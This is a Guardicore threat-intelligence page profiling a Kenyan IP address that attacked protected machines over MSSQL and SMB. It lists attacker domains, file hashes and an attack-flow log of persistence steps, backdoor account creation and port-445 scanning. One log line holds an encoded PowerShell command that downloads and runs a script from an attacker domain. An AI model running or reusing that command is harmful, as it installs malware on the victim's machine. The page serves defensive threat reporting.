IP Address: 197.254.112.78Previously Malicious

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IP Address:
197.254.112.78​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB MSSQL

Tags

Persistency - Logon File Operation By CMD DNS Query System File Modification Service Configuration Successful SMB Login Download and Execute Bulk Files Tampering IDS - Attempted User Privilege Gain Service Stop Successful MSSQL Login Scheduled Task Creation MSSQL Access Suspicious Domain User Added to Group Service Start Execute MsSql Shell Command Service Deletion User Removed Listening Port 445 Scan PowerShell User Created SMB SMB Share Connect Service Creation Download File CMD

Associated Attack Servers

oo.beahh.com info.ackng.com pp.abbny.com lp.haqo.net ii.haqo.net o.beahh.com v.beahh.com linode.com info.beahh.com lp.beahh.com jsonip.com i.haqo.net ip.42.pl info.abbny.com 42.pl p.abbny.com lp.abbny.com

45.79.77.20 79.98.145.42

Basic Information

IP Address

197.254.112.78

Domain

-

ISP

ACCESS KENYA GROUP LTD

Country

Kenya

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2018-02-10

Last seen in Guardicore Centra

2020-02-13

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List

Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: Previously Approved User

Successful MSSQL Login

MSSQL executed 1 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** added to groups: Administrators and logged in using SMB

User Created User Added to Group Successful SMB Login

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password 4 times

Successful SMB Login

The file C:\Windows\LXADdXTd.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\lxaddxtd.exe as a service named ntEV under service group None

Service Start Service Creation

Service ntEV was stopped

Service Stop

The file c:\windows\syswow64\drivers\svchost.exe was downloaded and executed 4 times

Download and Execute

System file c:\windows\mipr.exe was modified 9 times

System File Modification

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 9 times

System File Modification

c:\windows\temp\ttt.exe set the command line c:\windows\SysWOW64\wmiex.exe to run using Persistency - Logon

Persistency - Logon

The file c:\windows\syswow64\wmiex.exe was downloaded and executed 3 times

Download and Execute

c:\windows\system32\services.exe installed and started c:\windows\syswow64\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

Process c:\windows\syswow64\wmiex.exe attempted to access suspicious domains: ii.haqo.net, oo.beahh.com and pp.abbny.com

Access Suspicious Domain DNS Query

Process netsvcs Service Group started listening on ports: 65531, 65532 and 65533

Listening

The file C:\Windows\temp\svchost.exe was downloaded and executed 3 times

Download and Execute

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetooths

The command line C:\Windows\zrpeIdXH.exe was scheduled to run by modifying C:\Windows\System32\Tasks\zrpeIdXH

The command line c:\windows\mipr.exe was scheduled to run by modifying C:\Windows\System32\Tasks\LcSfjKr

System file c:\windows\syswow64\drivers\svchost.exe was modified

System File Modification

c:\windows\temp\setupinstalled.exe set the command line c:\windows\SysWOW64\drivers\svchost.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\syswow64\drivers\svchost.exe as a service named Ddriver under service group None

Service Start Service Creation

The file C:\Windows\SysWOW64\drivers\taskmgr.exe was downloaded and executed

Download and Execute

The command line cmd.exe /c c:\windows\SysWOW64\wmiex.exe was scheduled to run by modifying C:\Windows\System32\Tasks\WebServers

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

Process c:\windows\syswow64\drivers\svchost.exe started listening on ports: 65533

Listening

The command line C:\windows\temp\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\DnsScan

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 2 times

The command line cmd.exe /c c:\windows\SysWOW64\drivers\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Ddrivers

Process c:\windows\syswow64\drivers\svchost.exe attempted to access suspicious domains: i.haqo.net, o.beahh.com and p.abbny.com

Access Suspicious Domain DNS Query

Process NetworkService Service Group attempted to access suspicious domains: oo.beahh.com

Access Suspicious Domain DNS Query

The file c:\windows\mipr.exe was downloaded and executed

Download and Execute

The file C:\Windows\zrpeIdXH.exe was downloaded and executed 2 times

Download and Execute

Process c:\windows\system32\wbem\wmiprvse.exe attempted to access suspicious domains: _ldap._tcp.dc._msdcs.SERVER-BACKUP

Access Suspicious Domain DNS Query

The file C:\Windows\Temp\UVSVkVSLd.exe was downloaded and executed

Download and Execute

The file C:\Windows\Temp\_MEI23522\python27.dll was downloaded and loaded by c:\windows\zrpeidxh.exe

Download and Execute

Process c:\windows\zrpeidxh.exe started listening on ports: 60124

Listening

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: v.beahh.com

Access Suspicious Domain DNS Query

The file c:\windows\temp\msvcp140.dll was downloaded and loaded by c:\windows\temp\uvsvkvsld.exe

Download and Execute

The file c:\windows\temp\api-ms-win-crt-heap-l1-1-0.dll was downloaded and loaded by c:\windows\temp\uvsvkvsld.exe

Download and Execute

The file c:\windows\temp\api-ms-win-crt-string-l1-1-0.dll was downloaded and loaded by c:\windows\temp\uvsvkvsld.exe

Download and Execute

The file c:\windows\temp\api-ms-win-crt-math-l1-1-0.dll was downloaded and loaded by c:\windows\temp\uvsvkvsld.exe

Download and Execute

The file c:\windows\temp\api-ms-win-crt-time-l1-1-0.dll was downloaded and loaded by c:\windows\temp\uvsvkvsld.exe

Download and Execute

The file c:\windows\temp\ucrtbase.dll was downloaded and loaded by c:\windows\temp\uvsvkvsld.exe 3 times

Download and Execute

The file c:\windows\system32\wsock32.dll was downloaded and loaded by c:\windows\temp\uvsvkvsld.exe 5 times

Download and Execute

The file c:\windows\temp\opencl.dll was downloaded and loaded by c:\windows\temp\uvsvkvsld.exe

Download and Execute

Process c:\windows\temp\uvsvkvsld.exe attempted to access suspicious domains: lp.abbny.com, lp.beahh.com and lp.haqo.net

Access Suspicious Domain DNS Query

Process c:\windows\temp\svchost.exe attempted to access domains: ip.42.pl

DNS Query

Process c:\windows\temp\svchost.exe generated outgoing network traffic to: 192.168.0.10:445, 192.168.0.11:445, 192.168.0.12:445, 192.168.0.13:445, 192.168.0.14:445, 192.168.0.15:445, 192.168.0.16:445, 192.168.0.17:445, 192.168.0.18:445, 192.168.0.19:445, 192.168.0.1:445, 192.168.0.20:445, 192.168.0.21:445, 192.168.0.22:445, 192.168.0.23:445, 192.168.0.24:445, 192.168.0.25:445, 192.168.0.26:445, 192.168.0.27:445, 192.168.0.28:445, 192.168.0.29:445, 192.168.0.2:445, 192.168.0.30:445, 192.168.0.31:445, 192.168.0.32:445, 192.168.0.33:445, 192.168.0.3:445, 192.168.0.4:445, 192.168.0.5:445, 192.168.0.6:445, 192.168.0.7:445, 192.168.0.8:445 and 192.168.0.9:445

Process c:\windows\temp\svchost.exe scanned port 445 on 33 IP Addresses

Port 445 Scan

Connection was closed due to user inactivity

Process c:\windows\system32\expand.exe performed bulk changes in {c:\windows} on 43 files

Bulk Files Tampering

Associated Files

\\server-backup\c$\zilnbirc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes

C:\Windows\temp\svchost.exe

SHA256: 245855cd9c89326b531c7ce02aa313320a2a61b26771c389b6e0f997cf248e58

130000 bytes

C:\Windows\Temp\_MEI6442\python27.dll

SHA256: e3eed66221a6552d4b9ae7350b3dc30de238a6029efae060514d2780c02fedb4

2640384 bytes

C:\Windows\temp\svchost.exe

SHA256: b583eb3486d472ab9fe2ea42698af2b7817a41b25a1d48b8384e5c61b54b6f28

585000 bytes

C:\Windows\zrpeIdXH.exe

SHA256: 45176261a7362c49abe4c3e668235e206e8bad44f66d428caf9d9e5118d83210

6271280 bytes

c:\windows\yysdgbt.exe

SHA256: 7d317cb1ee2c6afabe13387f240f330773dc2f107ce93b32214596bafc694cbb

12662440 bytes

C:\Windows\temp\upinstalled.exe

SHA256: bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc

201776 bytes

C:\Windows\Temp\ttt.exe

SHA256: b771267551961ce840a1fbcd65e8f5ecd0a21350387f35bbcd4c24125ec04530

73776 bytes

C:\Windows\temp\svchost.exe

SHA256: 3583920992d70f6cc14618a79766cb2ced0cd404c099da76065d4a8b319bf4fe

6967023 bytes

C:\Windows\Temp\_MEI6482\_ctypes.pyd

SHA256: 11c739d28227773d70c3941d2e979b9d4cee12f1d53cc94daf77b62a4d3a0327

73216 bytes

C:\Windows\Temp\_MEI6482\msvcr90.dll

SHA256: 8e7fe1a1f3550c479ffd86a77bc9d10686d47f8727025bb891d8f4f0259354c8

653136 bytes

C:\Windows\Temp\_MEI9202\select.pyd

SHA256: 385e7a3cf5dd7b65590b064e7bc09f901db7ddc8542396af6bb60048a30993f0

11776 bytes

C:\Windows\Temp\_MEI9202\pywintypes27.dll

SHA256: 241ecbd87410e9b23339d494f9eca7ddf8083472661989f489fdd7fe0b8776b4

110080 bytes

C:\Windows\Temp\_MEI6442\_multiprocessing.pyd

SHA256: 6a6b8cb5cad9769a07af9a50bab5b3c848b411f66d7723c7e4c65d9e7dbe08ed

23552 bytes

C:\Windows\Temp\_MEI6442\win32api.pyd

SHA256: 63112adebc44d8183faa148e53cc48ddda0a9fb11c7d15a1ef5c8b36023f1205

99328 bytes

C:\Windows\SysWOW64\drivers\taskmgr.exe

SHA256: de7dba8ef2f284e92f9ceec09599d7e4a31592b773c9642be5bcf18f2463a3a6

59952 bytes

C:\Windows\temp\svchost.exe

SHA256: 0fee03d38b9972988884d2e43d6dd25ee1212b6ca6fed058f96f210e38b6c100

2340000 bytes

C:\Windows\temp\svchost.exe

SHA256: d937cbf43e95d87d7951408c3ca898079e411ee7a6c6f81e77cc4d516bf2b097

6966528 bytes

C:\Windows\temp\svchost.exe

SHA256: b9a246682a639050458b25dcc4a72afeb361f62e2061b65857766b331a0d7cc5

390000 bytes

C:\Windows\temp\svchost.exe

SHA256: 447ecdcee3c62162eee616d0dd51683f11a3d9402e81a8cde3e8a205dc19b9c8

1755000 bytes

C:\Windows\temp\dig.exe

SHA256: d58163839b611be30d7f77dfc1199013a347be635ebdeac1f7095eb97d03e1e0

7085000 bytes

C:\Windows\xNSnrnVW.exe

SHA256: 1e89400f24b64d8c3ac2dd3468c65ef3c97ce2a349b6b605d9b31634e2fc6294

6966539 bytes

C:\Windows\Temp\_MEI6442\_hashlib.pyd

SHA256: 51c47389782bc2de8e401d231233e2e7f1a4b3afce7df4ddf4ad533184dad407

287232 bytes

C:\Windows\xNSnrnVW.exe

SHA256: 92e38f2fa26042835a38207619faf15f1f57e872f323758aeaa718b54fd6e698

6966538 bytes

C:\Windows\temp\svchost.exe

SHA256: 701a9065c905ef385212b26a4c1256ef9fee7b0d916e539df847c21029d572b3

2275000 bytes

C:\windows\temp\svchost.exe

SHA256: f171bde79a79ff37180c205952efa43e35db7a35bc04ec1e058f21ec38159df9

1495000 bytes

C:\windows\temp\svchost.exe

SHA256: 970d1831f570fed76c38ebe7edfb8555c575b6c7ef62b46adcc3dd218f171dfa

650000 bytes

C:\Windows\temp\svchost.exe

SHA256: 8bbe003abc683446dcb6b6f3183e5345d528d151f9cded479c106d0d3b9e8429

6966538 bytes

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IP Address: 197.254.112.78​Previously Malicious